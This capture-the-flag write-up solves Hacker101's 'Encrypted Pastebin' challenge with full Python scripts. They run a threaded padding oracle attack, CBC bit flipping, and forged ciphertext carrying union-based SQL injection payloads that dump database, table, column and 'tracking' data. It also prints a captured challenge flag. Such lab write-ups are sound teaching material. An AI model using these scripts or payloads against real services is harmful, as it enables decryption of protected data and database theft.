Encrypted Pastebin on Hacker101CTF

Before all

To my surprise, this is a three years lasting journey on solving this challenge …
image

This is an interesting challenge combined several simple technique and is well worth solving!

Write Up

This is a web application which has a posting function just like Pastebin, after you sent a post, it would generate a unique key for that post, you can see the post only if you have the right key in the url.

Also, base on the paragraph in the home page, the key is probably generated with AES-128 CBC Mode.

image

RECON

A url example is down below.
https://669099f2c694bc3cf1c1f5ae19016f77.ctf.hacker101.com/?post=KWJlR2cCCcGYhMBdPSotLiWdHcoNMiYSSTNoRL9zfRTLGTFdFdu9xBxiXc9SJFQ5NEGkB90mbkF-zvdqnoT4X2fQykzaXWCMY7CX3IwyYXRnAAICk4d98bTrUHXRVENpfQ5sANV9fGIDT-eWO4EUD4H2nSL5egynC6TAfEXoRzs92SQLeu7V1JLc06I5-WraCOH38VOdkr-jmQYRZ!cgTQ~~
First of all, I tried to change the key value and observe the response.

But after I simply added an ‘a’ to the front of the ‘post’ param, I got a response like this…

image

First flag gotten!

How if I change the key into a single character ‘a’?

https://a49c182743e0b433bba6232c5961b860.ctf.hacker101.com/?post=a

image

It shows that it is base64 encode but with some naughty changes on it.

Also, if I add some padding in the ‘post’ parameter, it would raise a PaddingException…

image

Maybe is time for a Padding Oracle Attack!

Padding Oracle

Wikipedia(link)

I put some threading magic on it to make it faster!
padding_oracle.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from base64 import *
from pwn import *
from tqdm import trange
import requests as req
import threading

url='https://669099f2c694bc3cf1c1f5ae19016f77.ctf.hacker101.com/?post='

def custom_decode(x):
x=x.replace(b'~', b'=').replace(b'!', b'/').replace(b'-', b'+')
return b64decode(x)

def custom_encode(x):
x=b64encode(x)
return x.replace(b'=', b'~').replace(b'/', b'!').replace(b'+', b'-')

def oracle(x):
web=req.get(url+custom_encode(x).decode())
return 'File "./common.py"' not in web.text

cur_param=b'KWJlR2cCCcGYhMBdPSotLiWdHcoNMiYSSTNoRL9zfRTLGTFdFdu9xBxiXc9SJFQ5NEGkB90mbkF-zvdqnoT4X2fQykzaXWCMY7CX3IwyYXRnAAICk4d98bTrUHXRVENpfQ5sANV9fGIDT-eWO4EUD4H2nSL5egynC6TAfEXoRzs92SQLeu7V1JLc06I5-WraCOH38VOdkr-jmQYRZ!cgTQ~~'

cur_param=custom_decode(cur_param)

ans=b''
cur=b''

def find_byte_range(iv, mess, cur, now, start, end, result):
for k in range(start, end):
if oracle(iv[:now] + bytes([k]) + xor(cur, iv[now+1:], chr(16-now).encode()*(15-now)) + mess):
result.append(k)
break

for i in trange(0, len(cur_param)-16, 16):
iv, mess = cur_param[i:i+16], cur_param[i+16:i+32]
for j in trange(16):
now = 15 - j
threads = []
result = []
step = 256 // 32
for t in range(32):
start = t * step
end = (t + 1) * step if t != 31 else 256
thread = threading.Thread(target=find_byte_range, args=(iv, mess, cur, now, start, end, result))
threads.append(thread)
thread.start()

for thread in threads:
thread.join()

if result:
k = result[0]
if now == 15:
if k != iv[15]:
cur = xor(k, iv[15], 1) + cur
else:
cur = xor(k, iv[now], (16-now)) + cur
# print(cur)

ans += cur
print(ans)
cur = b''

After I extracted the data, I got my second flag and known that is a json format data!
{"flag": "^FLAG^5dc0bd44bc917ef1ab7e76de1be3f8d213c7d324acd52409b92ab8ce1764623e$FLAG$", "id": "2", "key": "FJRyMS3Ib4aor0M9RPTfcQ~~"}

image

Well, speaking honestly, I had a wrong idea that the CBC key is just the extracted key in the json data, but after I tried to decrypt the message directly through the IV value and that suspecious key, I known that I’m wrong QwQ…

Bit flipping

I tried to modify the data into {"id":"1"}, and this can be done through a simple bit flipping attack.
Take a quick review on CBC MODE process:
image
It’s trivial that I can get the raw decrypted value for the first block (or any other block) of the oringinal ciphertext through an XOR operation with the IV value and the first block of the ciphertext.

So the flipping payload should be:
xor(initial_IV, b'{"flag": "^FLAG^', b'{"id":"1"}')+the_first_block_of_the_ciphertext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from base64 import *
from pwn import *

def custom_decode(x):
x=x.replace(b'~', b'=').replace(b'!', b'/').replace(b'-', b'+')
return b64decode(x)

def custom_encode(x):
x=b64encode(x)
return x.replace(b'=', b'~').replace(b'/', b'!').replace(b'+', b'-')

def pad(x):
return x + bytes([16 - len(x) % 16] * (16 - len(x) % 16))


cur_param=b'KWJlR2cCCcGYhMBdPSotLiWdHcoNMiYSSTNoRL9zfRTLGTFdFdu9xBxiXc9SJFQ5NEGkB90mbkF-zvdqnoT4X2fQykzaXWCMY7CX3IwyYXRnAAICk4d98bTrUHXRVENpfQ5sANV9fGIDT-eWO4EUD4H2nSL5egynC6TAfEXoRzs92SQLeu7V1JLc06I5-WraCOH38VOdkr-jmQYRZ!cgTQ~~'

cur_param=custom_decode(cur_param)

payload=xor(cur_param[:16], b'{"flag": "^FLAG^', pad(b'{"id":"1"}'))+cur_param[16:32]

print(custom_encode(payload))

Flag 3:
image

SQL Injection

How can I do if I want to generate a payload with a length larger than 16?

A quick reminder:
Before moving forward to this, how to get the raw decrypted value for a block of any ciphertext?
Padding Oracle Again
Since it’s feasible to decrypt any block, downbelow is my solving process:
take the last block of ciphertext as a value which I already known it's raw decrypted value.
->
The further block should be the xored value of the raw content I want to put with that block of ciphertext
->
decrypt the value of the further block
And after repeating these steps, I can modify any messages I want to put and try some SQL Injection!

solve.py
The wanted variable is the SQL Injection(Union base) payload in json format.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
from base64 import *
import requests as req
from tqdm import trange
import threading

def custom_decode(x):
x=x.replace(b'~', b'=').replace(b'!', b'/').replace(b'-', b'+')
return b64decode(x)

def custom_encode(x):
x=b64encode(x)
return x.replace(b'=', b'~').replace(b'/', b'!').replace(b'+', b'-')

def pad(x):
return x + bytes([16 - len(x) % 16] * (16 - len(x) % 16))

def oracle(x):
web=req.get(url+custom_encode(x).decode())
return 'Incorrect padding' not in web.text and 'PaddingException' not in web.text

def find_byte_range(x, suf, i, start, end, result):
for j in range(start, end):
cur_suf = b'\x01' * (16 - i) + bytes([j]) + xor(suf, bytes([i^(i-1)] * (i - 1)))
if oracle(cur_suf + x):
result.append(j)
break

def brute_init(x):
cur = b''
suf = b''
for i in trange(1, 17):
threads = []
result = []

step = 256 // 64
for t in range(64):
start = t * step
end = (t + 1) * step if t != 63 else 256
thread = threading.Thread(target=find_byte_range, args=(x, suf, i, start, end, result))
threads.append(thread)
thread.start()

for thread in threads:
thread.join()

if result:
j = result[0]
cur_suf = b'\x01' * (16 - i) + bytes([j]) + xor(suf, bytes([i^(i-1)] * (i - 1)))
suf = cur_suf[16 - i:]
cur = xor(suf[0], bytes([i]))+cur
# print(cur)

return cur

url = 'https://669099f2c694bc3cf1c1f5ae19016f77.ctf.hacker101.com/?post='
cur_param = b'KWJlR2cCCcGYhMBdPSotLiWdHcoNMiYSSTNoRL9zfRTLGTFdFdu9xBxiXc9SJFQ5NEGkB90mbkF-zvdqnoT4X2fQykzaXWCMY7CX3IwyYXRnAAICk4d98bTrUHXRVENpfQ5sANV9fGIDT-eWO4EUD4H2nSL5egynC6TAfEXoRzs92SQLeu7V1JLc06I5-WraCOH38VOdkr-jmQYRZ!cgTQ~~'
cur_param = custom_decode(cur_param)

# known value
last=cur_param[16:32]
known=xor(cur_param[:16], b'{"flag": "^FLAG^')

# Brute Forcing init dec value
#print(brute_init(b'`\x8c\xa9\xb0\xe0cp\xff\x05\xf9>\xe6Q\xfa\xc1\xbf'))
# len(b'{"id": "7 UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #"}')
'''
wanted=b'{"id": "7 UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #"}'
'''

# wanted=b'{"id":"1", "meow":"meow"}'
# wanted=b'{"id":"7 UNION SELECT group_concat(database()), 1"}'
# wanted=b'{"id": "7 UNION SELECT group_concat(table_name), 1 FROM information_schema.tables WHERE table_schema=database()"}'
# wanted=b'{"id":"7 UNION SELECT group_concat(column_name), 1 FROM information_schema.columns WHERE table_name=\'tracking\'"}'
wanted=b'{"id":"7 UNION SELECT group_concat(headers), 1 FROM tracking"}'
wanted=pad(wanted)
print(len(wanted), wanted)

payload=last

for i in range(len(wanted), 16, -16):
payload=xor(known[:16], wanted[i-16:i])+payload
known=brute_init(payload[:16])+known

payload=xor(known[:16], wanted[:16])+payload
print(custom_encode(payload))

Gaining database names
{"id":"7 UNION SELECT group_concat(database()), 1"}
image
Gaining table names
{"id": "7 UNION SELECT group_concat(table_name), 1 FROM information_schema.tables WHERE table_schema=database()"}
image
Gaining column names for table tracking
{"id":"7 UNION SELECT group_concat(column_name), 1 FROM information_schema.columns WHERE table_name='tracking'"}
image
Extract Header datas from table tracking
{"id":"7 UNION SELECT group_concat(headers), 1 FROM tracking"}
image

And finally, go to the dumped url from table ‘tracking’ and get the last flag!